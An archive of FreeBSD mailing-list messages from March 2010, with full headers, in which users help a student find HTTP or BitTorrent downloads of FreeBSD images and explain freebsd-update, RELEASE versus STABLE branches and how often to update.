15:22:01 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-313.bluehost.com (outbound-mail-313.bluehost.com [67.222.54.6]) by mx1.freebsd.org (Postfix) with SMTP id 63DB28FC1B for ; Tue, 9 Mar 2010 15:22:01 +0000 (UTC) Received: (qmail 13817 invoked by uid 0); 9 Mar 2010 15:22:00 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy3.bluehost.com with SMTP; 9 Mar 2010 15:22:00 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:References:In-Reply-To:X-Enigmail-Version:Content-Type:X-Identified-User; b=QplMz8gu+5tWHfYsrD5U3OgwC4Lg4aKB6yIEu5BmNp9HRp8SrRHSmd18ieezhcL/g3mDtcvQtuzzYetdQNRFx/fdF45RrnQnpTzjjLyIz9lFQ2KILfLrL51lT3ivR6Si; Received: from [206.74.86.236] (helo=[192.168.1.106]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1Np1Fw-0007Aj-GR for freebsd-questions@freebsd.org; Tue, 09 Mar 2010 08:22:00 -0700 Message-ID: <4B966790.1080209@joseph-a-nagy-jr.us> Date: Tue, 09 Mar 2010 09:21:52 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <685ef0201003090658n6c3d2529l38e347016e40b132@mail.gmail.com> In-Reply-To: <685ef0201003090658n6c3d2529l38e347016e40b132@mail.gmail.com> X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigD5AA92B07787A1B1F316DA4F" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: Re: Downloading issue! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 15:22:01 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigD5AA92B07787A1B1F316DA4F Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On 03/09/10 08:58, Emmanuel Opio wrote: > Hi, > Am studying at a University in E. Africa but the problem is that = our > server administrators blocked "ftp" and filtered out images, so we can = not > download any image file, the most common extension for operating system= s. > I was just requesting then if there is a HTTP site with zipped freeBS= D > image files ready for download. It would really help a number of us out= > here. > Thanks abundantly, >=20 > Yours sincerely, >=20 > Emmanuel I could set up a place on one of my websites for this purpose. Just tell me which image you want and I'll get to work on it. I'll keep the image up for a month or two (or until my host complains about it) so I'll provide a link for others in similar situations. --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. Original content copyright under the OWL http://owl.apotheon.org Please do not CC me. If I'm posting to a list it is because I am subscrib= ed. --------------enigD5AA92B07787A1B1F316DA4F Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAEBAgAGBQJLlmeWAAoJEENZQ8DH7rW01PIH/3fbHScO2LjzWQceKBQxcBQd PPm+nV88A4Zya03QNylGkMPCyrQugZ3KmEyoWvf5QQSPE8FCQIH5xKw6W+BkvYOS v+7bZyIa/rfmq6ct1hxhzWHmt4W6pCKm5GjIJ5qmc8Yekpt0pIYesM89iER1O3ns ZBF1TRv9nrare6YgXRdFaR7zbKKF3CYgaKn+w6gie7/eT3zCsxuNWj1LiIlVWkVo Ey8rLKR0DLSrH/lFA2VhGhjo4g65kZnZ9eOQk//H5w0hoEd4HH2L1+W7KinYSnWm kf+xDu8enYcrvQ952guyji03VIvHHeSdiOFul9tYibLw3xWAF2fY12Rjs1W2eGk= =y0vr -----END PGP SIGNATURE----- --------------enigD5AA92B07787A1B1F316DA4F-- From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 15:26:36 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BE66D106566B for ; Tue, 9 Mar 2010 15:26:36 +0000 (UTC) (envelope-from "cyb."@gmx.net) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mx1.freebsd.org (Postfix) with SMTP id 0A09A8FC1D for ; Tue, 9 Mar 2010 15:26:35 +0000 (UTC) Received: (qmail invoked by alias); 09 Mar 2010 15:26:34 -0000 Received: from pD952D03B.dip0.t-ipconnect.de (EHLO core2duo.local) [217.82.208.59] by mail.gmx.net (mp021) with SMTP; 09 Mar 2010 16:26:34 +0100 X-Authenticated: #4870692 X-Provags-ID: V01U2FsdGVkX187XKwGEQA7qHEKdx39o4pg+WFue5mg0bJ1u1wPFe n76xqskgby4/nq Date: Tue, 9 Mar 2010 16:26:30 +0100 From: Andreas Rudisch To: Emmanuel Opio Message-Id: <20100309162630.1002daa4.cyb.@gmx.net> In-Reply-To: <685ef0201003090658n6c3d2529l38e347016e40b132@mail.gmail.com> References: <685ef0201003090658n6c3d2529l38e347016e40b132@mail.gmail.com> X-Mailer: Sylpheed 2.7.1 (GTK+ 2.18.7; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="PGP-SHA1"; boundary="Signature=_Tue__9_Mar_2010_16_26_30_+0100_GrEJDuPhZb8UGZK+" X-Y-GMX-Trusted: 0 X-FuHaFi: 0.70999999999999996 Cc: questions@freebsd.org Subject: Re: Downloading issue! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 15:26:36 -0000 --Signature=_Tue__9_Mar_2010_16_26_30_+0100_GrEJDuPhZb8UGZK+ Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, 9 Mar 2010 17:58:45 +0300 Emmanuel Opio wrote: > Am studying at a University in E. Africa but the problem is that our > server administrators blocked "ftp" and filtered out images, so we can not > download any image file You could try downloading it with a BitTorrent client. http://torrents.freebsd.org:8080/ Andreas -- GnuPG key : 0x2A573565 | http://www.gnupg.org/howtos/de/ Fingerprint: 925D 2089 0BF9 8DE5 9166 33BB F0FD CD37 2A57 3565 --Signature=_Tue__9_Mar_2010_16_26_30_+0100_GrEJDuPhZb8UGZK+ Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iEYEARECAAYFAkuWaKkACgkQ8P3NNypXNWUxKQCeIMjPmsWP0lRpK91xOghgrQXF KqUAnRT7Byb7S1gBINxCmabEKQgGe7Jq =qBdR -----END PGP SIGNATURE----- --Signature=_Tue__9_Mar_2010_16_26_30_+0100_GrEJDuPhZb8UGZK+-- From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 15:31:10 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 50661106567A for ; Tue, 9 Mar 2010 15:31:10 +0000 (UTC) (envelope-from cpghost@cordula.ws) Received: from mail-bw0-f216.google.com (mail-bw0-f216.google.com [209.85.218.216]) by mx1.freebsd.org (Postfix) with ESMTP id E58668FC23 for ; Tue, 9 Mar 2010 15:31:09 +0000 (UTC) Received: by bwz8 with SMTP id 8so3258074bwz.3 for ; Tue, 09 Mar 2010 07:31:09 -0800 (PST) MIME-Version: 1.0 Received: by 10.204.6.70 with SMTP id 6mr4033744bky.6.1268148668767; Tue, 09 Mar 2010 07:31:08 -0800 (PST) X-Originating-IP: [93.203.35.66] In-Reply-To: <685ef0201003090658n6c3d2529l38e347016e40b132@mail.gmail.com> References: <685ef0201003090658n6c3d2529l38e347016e40b132@mail.gmail.com> Date: Tue, 9 Mar 2010 16:31:08 +0100 Message-ID: From: "C. P. Ghost" To: Emmanuel Opio Content-Type: text/plain; charset=ISO-8859-1 Cc: questions@freebsd.org Subject: Re: Downloading issue! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 15:31:10 -0000 On Tue, Mar 9, 2010 at 3:58 PM, Emmanuel Opio wrote: > Am studying at a University in E. Africa but the problem is that our > server administrators blocked "ftp" and filtered out images, so we can not > download any image file, the most common extension for operating systems. They're obviously having bandwidth problems. How about asking them nicely to fetch the ISOs once to their central server, and let students download them from there as often as they like? I've worked in multiple University IT departments, and we've never turned down a reasonable request like this, even when bandwidth was severely limited and quotas were in place. They probably won't either at your U. Maybe asking via a C.S. professor would have even more effect. ;-) > Emmanuel Regards, -cpghost. -- Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 15:54:51 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 549491065672 for ; Tue, 9 Mar 2010 15:54:51 +0000 (UTC) (envelope-from geo.liaskos@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id E04878FC17 for ; Tue, 9 Mar 2010 15:54:50 +0000 (UTC) Received: by fxm23 with SMTP id 23so6086023fxm.3 for ; Tue, 09 Mar 2010 07:54:49 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=tyU8D6NaIgqTRfB9GY1Dhfq6qsOtxGnpR1T05BLehP0=; b=MHq6xLnR5MOgOGylNVsBSfT/S3lkZDwxUGI23IveVO5TIgy0xGn6Yx22zmliLgibs5 pZN/xS5n3sC6G6yZQWYzoFvgT3eYWpRuKwZHL0qi9EZhOyzcKjNshQrmnhS+rlqdprXS x5/GgXUnBtfo4vVopAO0MqKNdGaY5FNvh54tI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=vIMnvbVMrRU+6dqR6PNve4Ewu+vEGkPrqSza/VZ8kamSsdllLcLq5/tnVrgL/IfzWO upZ5+NsVMfMPSYEOmZlaWyiH8kxR/LJMFnwFGPcMh5Y9WIBdzFfq+E0HVdle2gLoBPvl BbnQ+i9igKCqnRqrBl69VudtDmeSZvx3lUHts= MIME-Version: 1.0 Received: by 10.239.165.2 with SMTP id v2mr606957hbd.19.1268148342049; Tue, 09 Mar 2010 07:25:42 -0800 (PST) In-Reply-To: <685ef0201003090658n6c3d2529l38e347016e40b132@mail.gmail.com> References: <685ef0201003090658n6c3d2529l38e347016e40b132@mail.gmail.com> Date: Tue, 9 Mar 2010 15:25:42 +0000 Message-ID: From: George Liaskos To: Emmanuel Opio Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: questions@freebsd.org Subject: Re: Downloading issue! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 15:54:51 -0000 On Tue, Mar 9, 2010 at 2:58 PM, Emmanuel Opio wrote= : > Hi, > =A0 =A0 =A0Am studying at a University in E. Africa but the problem is th= at our > server administrators blocked "ftp" and filtered out images, so we can no= t > download any image file, the most common extension for operating systems. > =A0I was just requesting then if there is a HTTP site with zipped freeBSD > image files ready for download. It would really help a number of us out > here. > Thanks abundantly, > > Yours sincerely, > > Emmanuel > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > Hi, Maybe you could try the memstick.img or the dvd1.iso.gz http://ftp.ntua.gr/pub/FreeBSD/ From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 16:01:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D8043106564A for ; Tue, 9 Mar 2010 16:01:09 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 67A068FC08 for ; Tue, 9 Mar 2010 16:01:09 +0000 (UTC) Received: by fxm23 with SMTP id 23so6092630fxm.3 for ; Tue, 09 Mar 2010 08:01:08 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:mail-followup-to:mime-version:content-type :content-disposition:user-agent:x-operating-system; bh=6LjefnkhoOcdiLd+dHr8LhAWoX/CPg7e5cuOhsSTMxU=; b=rUs6LXN3Vz/Xw7i5dpitDSJpm72jwywYez5oVZVu39iM7AZdwDq5yIkhAiPkNiGirk 48p1F//MARScA0OUeIqcWVvA+rIiAFZoI52VgZjhcg1ilRm+OhbtVeLLOtnKMICY4T/k dUvHx9zOXJXkTzSQ4LLJVhFc0McWMsYmJJOC4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:mail-followup-to:mime-version :content-type:content-disposition:user-agent:x-operating-system; b=MwxA/6Vfg4zTAeK93CvjRjnZbYKfDDlYTbww4OqKi0LAzA7dD5SBV0YjtP5PVz+l/0 IleL0fs4xAU1WvRRT/VC5R8pyvq76ZFmQLooHFtDugRQfG0NcvTh3AdjDBlyX6zdwxt4 vk62/mqS1lsn8P3uSd1NT8QclZa5b3Kscu+rU= Received: by 10.223.62.83 with SMTP id w19mr6647529fah.22.1268150468299; Tue, 09 Mar 2010 08:01:08 -0800 (PST) Received: from gmail.com (125.27.78.70.adsl.dynamic.totbb.net [125.27.78.70]) by mx.google.com with ESMTPS id 31sm11228205fkt.47.2010.03.09.08.01.05 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 09 Mar 2010 08:01:07 -0800 (PST) Date: Tue, 9 Mar 2010 23:02:46 +0700 From: Pongthep Kulkrisada To: freebsd-questions@freebsd.org Message-ID: <20100309160246.GA1190@gmail.com> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD/8.0-RELEASE-p2 (i386) Subject: Updating the system and ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 16:01:09 -0000 Hi Folk, Further to previous suggestion in this mailing list, I have just updated from FreeBSD 8.0-STABLE to the latest patch. I firstly use freebsd-update but it failed ... # freebsd-update fetch Lookin up update.FreeBSD.org mirrors... 3 mirrors found Fetching public key from update4.FreeBSD.org... failed Fetching public key from update5.FreeBSD.org... failed Fetching public key from update2.FreeBSD.org... failed Give up, no remaining mirrors. (I didn't run script(1), I hard typed from my memory.) I tried many times, the results were always the same. I don't know what happen. So I switch to update from source. REL_ENG_8_0 is specified in stable-supfile. After csup and buildworld/kernel. Now I am running 8.0-RELEASE-p2. But I am expecting 8.0-STABLE-p2. I don't understand. The handbook did not say anything about the capitalized RELEASE. At least I did not find it. I only notice that I always get RELEASE when freshly install from CDs. But when build from sources sometimes I get RELEASE. And sometimes I get STABLE. 1. What is the difference between RELEASE and STABLE? 2. After buildworld/kernel finished, I tried freebsd-upgrade again. Now it works. There are still 20 files to fetch and install. Only 8 hours between csup all sources and freebsd-upgrade. Is it normal to have such 20 outstanding files during short period? 3. freebsd-upgrade did not request for mergemaster(8). How can we ensure that things in /etc go well? 4. After this step, I would probably run portmaster. sleepy now :-( I want to know how often you normally update the ``system'' and ``ports''? If both are normally done EVERYDAY, freebsd-update is relatively fast. But portmaster is somewhat slow to build all ports from sources. One may have hundreds ports, if not thousands. Please give me some hints, what are you normally do? Thanks, Pongthep From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 16:05:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 04608106564A for ; Tue, 9 Mar 2010 16:05:57 +0000 (UTC) (envelope-from ptkrisada@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 8AEC48FC0C for ; Tue, 9 Mar 2010 16:05:56 +0000 (UTC) Received: by fxm23 with SMTP id 23so6098035fxm.3 for ; Tue, 09 Mar 2010 08:05:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:mail-followup-to:mime-version:content-type :content-disposition:user-agent:x-operating-system; bh=GS9wIDSIZDE0eIho3eEKUNmMgotd+BX85bRzbBMzDWI=; b=Hqk6HV3W295iXPwSc7jmmQbyLjcJAOHtvb3ogVRTWu7tFLjcfl4Kc0L1FMbtSr1QpZ z6SOEAGUqG61oPDeZlpsMUifAPJdCh/mJTRWUCb8vRWyfo2KaXrY2JJFFam5+zo4PIZq vGoHpl0jkw/8FmYMrWTA+61MYvDsY4/MrcjW8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:mail-followup-to:mime-version :content-type:content-disposition:user-agent:x-operating-system; b=jLeLU7E7hqGVgMfXORn5jBeQMQAdMLDnCYp2R3H3gyYbKbwyhnivDgb+GdXzv0idW3 mzrhNs7Cz65oh88WrME/sqqqqD8/uBP/VLSh2hE/Cgg2xzqr2wKlqkhwyi2oAKzTRgAQ U/SrRK4gGXxzS2iRDEf7FaTglZCuw5BLxbkaY= Received: by 10.223.27.70 with SMTP id h6mr2805197fac.50.1268150755581; Tue, 09 Mar 2010 08:05:55 -0800 (PST) Received: from gmail.com (125.27.78.70.adsl.dynamic.totbb.net [125.27.78.70]) by mx.google.com with ESMTPS id z10sm11230767fka.1.2010.03.09.08.05.52 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 09 Mar 2010 08:05:54 -0800 (PST) Date: Tue, 9 Mar 2010 23:07:34 +0700 From: Pongthep Kulkrisada To: freebsd-questions@freebsd.org Message-ID: <20100309160734.GB1190@gmail.com> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD/8.0-RELEASE-p2 (i386) Subject: Fwd: Updating the system and ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 16:05:57 -0000 Hi Folk, Further to previous suggestion in this mailing list, I have just updated from FreeBSD 8.0-STABLE to the latest patch. I firstly use freebsd-update but it failed ... # freebsd-update fetch Lookin up update.FreeBSD.org mirrors... 3 mirrors found Fetching public key from update4.FreeBSD.org... failed Fetching public key from update5.FreeBSD.org... failed Fetching public key from update2.FreeBSD.org... failed Give up, no remaining mirrors. (I didn't run script(1), I hard typed from my memory.) I tried many times, the results were always the same. I don't know what happen. So I switch to update from source. REL_ENG_8_0 is specified in stable-supfile. After csup and buildworld/kernel. Now I am running 8.0-RELEASE-p2. But I am expecting 8.0-STABLE-p2. I don't understand. The handbook did not say anything about the capitalized RELEASE. At least I did not find it. I only notice that I always get RELEASE when freshly install from CDs. But when build from sources sometimes I get RELEASE. And sometimes I get STABLE. 1. What is the difference between RELEASE and STABLE? 2. After buildworld/kernel finished, I tried freebsd-upgrade again. Now it works. There are still 20 files to fetch and install. Only 8 hours between csup all sources and freebsd-upgrade. Is it normal to have such 20 outstanding files during short period? 3. freebsd-update did not request for mergemaster(8). [edit] How can we ensure that things in /etc go well? 4. After this step, I would probably run portmaster. sleepy now :-( I want to know how often you normally update the ``system'' and ``ports''? If both are normally done EVERYDAY, freebsd-update is relatively fast. But portmaster is somewhat slow to build all ports from sources. One may have hundreds ports, if not thousands. Please give me some hints, what are you normally do? Thanks, Pongthep ----- End forwarded message ----- From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 16:47:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DB8871065672 for ; Tue, 9 Mar 2010 16:47:52 +0000 (UTC) (envelope-from cswiger@mac.com) Received: from asmtpout023.mac.com (asmtpout023.mac.com [17.148.16.98]) by mx1.freebsd.org (Postfix) with ESMTP id C70748FC18 for ; Tue, 9 Mar 2010 16:47:52 +0000 (UTC) MIME-version: 1.0 Content-type: text/plain; charset=windows-1252 Received: from [10.0.1.225] ([173.200.179.65]) by asmtp023.mac.com (Sun Java(tm) System Messaging Server 6.3-8.01 (built Dec 16 2008; 32bit)) with ESMTPSA id <0KZ0005ETXBFVX90@asmtp023.mac.com> for freebsd-questions@freebsd.org; Tue, 09 Mar 2010 08:47:40 -0800 (PST) X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 ipscore=0 phishscore=0 bulkscore=0 adultscore=0 classifier=spam adjust=0 reason=mlx engine=5.0.0-0908210000 definitions=main-1003090139 From: Chuck Swiger In-reply-to: <20100309160734.GB1190@gmail.com> Date: Tue, 09 Mar 2010 08:47:38 -0800 Content-transfer-encoding: quoted-printable Message-id: References: <20100309160734.GB1190@gmail.com> To: Pongthep Kulkrisada X-Mailer: Apple Mail (2.1077) Cc: freebsd-questions@freebsd.org Subject: Re: Updating the system and ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 16:47:53 -0000 Hi-- On Mar 9, 2010, at 8:07 AM, Pongthep Kulkrisada wrote: > Further to previous suggestion in this mailing list, > I have just updated from FreeBSD 8.0-STABLE to the latest patch. This is good. > I firstly use freebsd-update but it failed ... [ ...Colin Percival is the owner of this, so I won't try to speak to = it... ] > So I switch to update from source. > REL_ENG_8_0 is specified in stable-supfile. After csup and = buildworld/kernel. > Now I am running 8.0-RELEASE-p2. > But I am expecting 8.0-STABLE-p2. I don't understand. If you track RELENG_8, you get -STABLE system from a build cycle. If = you track RELENG_8_0, you are tracking the security branch and get your = own "official" -RELEASE system from the build cycle. > The handbook did not say anything about the capitalized RELEASE. > At least I did not find it. > I only notice that I always get RELEASE when freshly install from CDs. > But when build from sources sometimes I get RELEASE. > And sometimes I get STABLE. >=20 > 1. What is the difference between RELEASE and STABLE? http://www.freebsd.org/security/ says: "Supported FreeBSD Releases The FreeBSD Security Officer provides security advisories for several = branches of FreeBSD development. These are the -STABLE Branches and the = Security Branches. (Advisories are not issued for the -CURRENT Branch.) =95 The -STABLE branch tags have names like RELENG_7. The = corresponding builds have names like FreeBSD 7.0-STABLE. =95 Each FreeBSD Release has an associated Security Branch. The = Security Branch tags have names like RELENG_7_0. The corresponding = builds have names like FreeBSD 7.0-RELEASE-p1." > 2. After buildworld/kernel finished, I tried freebsd-upgrade again. > Now it works. There are still 20 files to fetch and install. > Only 8 hours between csup all sources and freebsd-upgrade. > Is it normal to have such 20 outstanding files during short period? It's not unusual for a even single change (like pulling in a security = fix or whatever to OpenSSL, sendmail, etc) to touch that many files. = However, one does not normally swap back and forth between building from = source and doing binary upgrades, although it's certainly fine if you = wanted to get freebsd-upgrade working and use it from here on out. > 3. freebsd-update did not request for mergemaster(8). [edit] > How can we ensure that things in /etc go well? Read /usr/src/UPGRADING for notes about important changes. Run = mergemaster -iU, although you don't need to bother unless you're moving = to at least a .x upgrade or there was a specific mention in the security = advisory otherwise. > 4. After this step, I would probably run portmaster. sleepy now :-( > I want to know how often you normally update the ``system'' and = ``ports''? I update most systems at least as often as FreeBSD security advisories = are posted; and ports whenever portaudit warns of an issue. If a new = version of something which is a primary function of some box is updated, = I might update more frequently for such a specific reason. I have test machines that get updated about weekly. I have firewall = boxes with multiyear uptimes where I've only updated OpenSSH+OpenSSL = when needed, since port 22 for management is all they do. > If both are normally done EVERYDAY, freebsd-update is relatively fast. I'm going to conclude from this question that you aren't running = production systems. :-) > But portmaster is somewhat slow to build all ports from sources. > One may have hundreds ports, if not thousands. > Please give me some hints, what are you normally do? You only need to rebuild all ports when you are updating the system for = a major release, like from 7.x to 8.x. Otherwise, portmaster, = portupgrade, etc will determine which ports have changes and only = rebuild those ones. --=20 -Chuck= From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 16:58:10 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D6A621065677 for ; Tue, 9 Mar 2010 16:58:10 +0000 (UTC) (envelope-from rwmaillists@googlemail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.25]) by mx1.freebsd.org (Postfix) with ESMTP id 8D5218FC17 for ; Tue, 9 Mar 2010 16:58:10 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 5so317376qwi.7 for ; Tue, 09 Mar 2010 08:58:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=k8Zi6STbUCtHA39C2l68gNPKQpWdEfrZmGkH0PMiRnE=; b=UJV+HdfnXeG1ZMVFZDe/3Qik3UwDPne1ykSCMexMhpffQdshRwSD0otE3141b+xytX Jc1n0yP4mBjwPMnDLY+7z8TuS6psxnbMUxCypMW8ciXw/Kz4TWW1ewpBhE2H5nLOhTHB dVbtDS9fDA78D0RmfapJV6thsaf5CRGspUdOA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=b7iyybAw0NmtxZXVlVUmZQhh34VHYlcinJRn2NvvXPSrOtLZzh70jOP9hty/0dc3We EfoSad+NLvZkFIfGIl+EJZpdYCEgx+Nz3x9EWpge6KC5uwi0a8C+zGtFr85+agOlEZ5M /UIwNhDgo1C1Bb+totvkWa+VRR8+OSxpNpm90= Received: by 10.220.128.77 with SMTP id j13mr252621vcs.233.1268153889721; Tue, 09 Mar 2010 08:58:09 -0800 (PST) Received: from gumby.homeunix.com (bb-87-81-140-128.ukonline.co.uk [87.81.140.128]) by mx.google.com with ESMTPS id 31sm6859579vws.2.2010.03.09.08.58.02 (version=SSLv3 cipher=RC4-MD5); Tue, 09 Mar 2010 08:58:08 -0800 (PST) Date: Tue, 9 Mar 2010 16:57:40 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20100309165740.1f2b4ff8@gumby.homeunix.com> In-Reply-To: <20100309160734.GB1190@gmail.com> References: <20100309160734.GB1190@gmail.com> X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd8.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Updating the system and ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 16:58:10 -0000 On Tue, 9 Mar 2010 23:07:34 +0700 Pongthep Kulkrisada wrote: > Hi Folk, > > Further to previous suggestion in this mailing list, > I have just updated from FreeBSD 8.0-STABLE to the latest patch. > > I firstly use freebsd-update but it failed ... > # freebsd-update fetch > Lookin up update.FreeBSD.org mirrors... 3 mirrors found > Fetching public key from update4.FreeBSD.org... failed > Fetching public key from update5.FreeBSD.org... failed > Fetching public key from update2.FreeBSD.org... failed > Give up, no remaining mirrors. > (I didn't run script(1), I hard typed from my memory.) > > I tried many times, the results were always the same. > I don't know what happen. > > So I switch to update from source. > REL_ENG_8_0 is specified in stable-supfile. After csup and that should be RELENG_8_0 > 1. What is the difference between RELEASE and STABLE? Stable is a stable development branch, if you want to use freebsd-update you need to use a proper release security branch. From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 17:35:28 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5FC0E1065674 for ; Tue, 